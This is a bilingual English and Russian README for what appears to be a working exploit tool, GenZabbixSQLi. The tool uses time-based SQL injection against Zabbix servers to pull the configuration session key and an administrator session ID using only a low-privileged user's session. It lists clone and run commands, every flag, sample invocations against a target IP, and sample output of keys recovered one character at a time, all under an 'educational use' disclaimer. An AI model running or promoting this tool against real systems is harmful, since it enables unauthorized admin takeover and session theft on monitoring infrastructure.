This tool leverages SQL injection vulnerabilities to extract configuration session keys and session IDs from a target Zabbix server. By exploiting a timing-based flaw, it can extract session information in a secure manner without altering the database content.
- Python 3
- aiohttp for asynchronous HTTP requests
- argparse for command-line arguments parsing
- struct and json for message preparation and sending
To run the tool, ensure you have:
- Python 3 installed
- The necessary Python packages listed in
requirements.txt
You can install the required packages using:
pip install -r requirements.txtClone the repository to your local machine:
git clone https://github.com/geniuszly/GenZabbixSQLi
cd GenZabbixSQLiThis tool offers multiple modes for exploitation. Below is the general command to run the tool:
python3 GenZSQLi_exploit.py --ip <ZABBIX_SERVER_IP> --port <PORT> --sid <USER_SESSION_ID> --hostid <HOST_ID>--false_time- Time to sleep in case of incorrect guesses (default=1).--true_time- Time to sleep in case of correct guesses (default=10).--ip- IP address of the target Zabbix server.--port- Port number of the Zabbix server (default=10051).--sid- Session ID of a low-privileged user.--hostid- Host ID accessible to the user with the defined session ID.--poc- Use this flag to run a Proof of Concept for sleep-based SQL injection.--poc2- Use this flag to inject a query and generate an error in Zabbix logs.
- Extract the session key and admin session ID:
python3 GenZSQLi_exploit.py --ip 192.168.1.100 --port 10051 --sid session_id --hostid host_id- Run a PoC for sleep-based injection:
python3 GenZSQLi_exploit.py --ip 192.168.1.100 --port 10051 --sid session_id --hostid host_id --poc- Inject a query to generate Zabbix log errors:
python3 GenZSQLi_exploit.py --ip 192.168.1.100 --port 10051 --sid session_id --hostid host_id --poc2(+) Извлечение session_key конфигурации Zabbix...
(+) Найден частичный session_key: 1
(+) Найден частичный session_key: 1a
...
(+) Найден полный session_key: 1a2b3c4d5e6f...
(+) Извлечение session_id администратора...
(+) Найден частичный session_id: 9
(+) Найден частичный session_id: 9f
...
(+) Найден полный session_id: 9f8e7d6c5b4a...
(+) Выполняем простой PoC...
(+) Тестируем длительность сна: 1 сек.
(+) Время запроса: 1.015 секунд
(+) Тестируем длительность сна: 5 сек.
(+) Время запроса: 5.010 секунд
(+) Тестируем длительность сна: 10 сек.
(+) Время запроса: 10.005 секунд
(+) Внедряем SQL-запрос для получения версии MySQL...
(+) Получен ответ: b'MySQL version 5.7.33-log...'
- Asynchronous Execution: Uses
aiohttpfor efficient, non-blocking requests. - Retries on Failure: Automatically retries failed network requests up to 3 times.
- Command-line Flexibility: A wide range of parameters for different exploitation scenarios.
- Logging: Provides detailed logs for each operation and error.
This tool is intended for educational and security research purposes only. The author are not responsible for any misuse or damage caused by this tool. Always ensure you have permission before testing any system.
Этот инструмент использует уязвимости SQL-инъекций для извлечения ключей конфигурации и идентификаторов сессий из целевого сервера Zabbix. Эксплуатируя временную уязвимость, он способен безопасно получать информацию о сессии без изменения содержимого базы данных.
- Python 3
- aiohttp для асинхронных HTTP-запросов
- argparse для разбора командной строки
- struct и json для подготовки и отправки сообщений
Для запуска инструмента необходимо:
- Установить Python 3
- Установить необходимые Python-пакеты, указанные в
requirements.txt
Вы можете установить необходимые пакеты с помощью:
pip install -r requirements.txtСклонируйте репозиторий на свой компьютер:
git clone https://github.com/geniuszly/GenZabbixSQLi
cd GenZabbixSQLiИнструмент предлагает несколько режимов эксплуатации. Ниже приведена основная команда для запуска инструмента:
python3 GenZSQLi_exploit.py --ip <IP_СЕРВЕРА_ZABBIX> --port <ПОРТ> --sid <ID_СЕССИИ_ПОЛЬЗОВАТЕЛЯ> --hostid <ID_ХОСТА>--false_time- Время ожидания при неверном предположении (по умолчанию=1).--true_time- Время ожидания при верном предположении (по умолчанию=10).--ip- IP-адрес целевого сервера Zabbix.--port- Порт сервера Zabbix (по умолчанию=10051).--sid- ID сессии низкопривилегированного пользователя.--hostid- ID хоста, доступного пользователю с указанным ID сессии.--poc- Используйте этот ключ для запуска PoC с инъекцией через команду sleep.--poc2- Используйте этот ключ для генерации ошибки в логах Zabbix.
- Извлечение ключа конфигурации и session ID администратора:
python3 GenZSQLi_exploit.py --ip 192.168.1.100 --port 10051 --sid session_id --hostid host_id- Запуск PoC для инъекции через sleep:
python3 GenZSQLi_exploit.py --ip 192.168.1.100 --port 10051 --sid session_id --hostid host_id --poc- Инъекция запроса для генерации ошибок в логах Zabbix:
python3 GenZSQLi_exploit.py --ip 192.168.1.100 --port 10051 --sid session_id --hostid host_id --poc2(+) Извлечение session_key конфигурации Zabbix...
(+) Найден частичный session_key: 1
(+) Найден частичный session_key: 1a
...
(+) Найден полный session_key: 1a2b3c4d5e6f...
(+) Извлечение session_id администратора...
(+) Найден частичный session_id: 9
(+) Найден частичный session_id: 9f
...
(+) Найден полный session_id: 9f8e7d6c5b4a...
(+) Выполняем простой PoC...
(+) Тестируем длительность сна: 1 сек.
(+) Время запроса: 1.015 секунд
(+) Тестируем длительность сна: 5 сек.
(+) Время запроса: 5.010 секунд
(+) Тестируем длительность сна: 10 сек.
(+) Время запроса: 10.005 секунд
(+) Внедряем SQL-запрос для получения версии MySQL...
(+) Получен ответ: b'MySQL version 5.7.33-log...'
- Асинхронное выполнение: Использует
aiohttpдля эффективных асинхронных запросов. - Повторные попытки при сбое: Автоматически повторяет неудачные запросы до 3 раз.
- Гибкость командной строки: Широкий спектр параметров для различных сценариев эксплуатации.
- Логирование: Предоставляет подробные логи для каждой операции и ошибок.
Данный инструмент предназначен исключительно для образовательных и исследовательских целей. Автор не несет ответственности за любое неправильное использование или нанесенный ущерб этим инструментом. Всегда убедитесь, что у вас есть разрешение перед тестированием любой системы.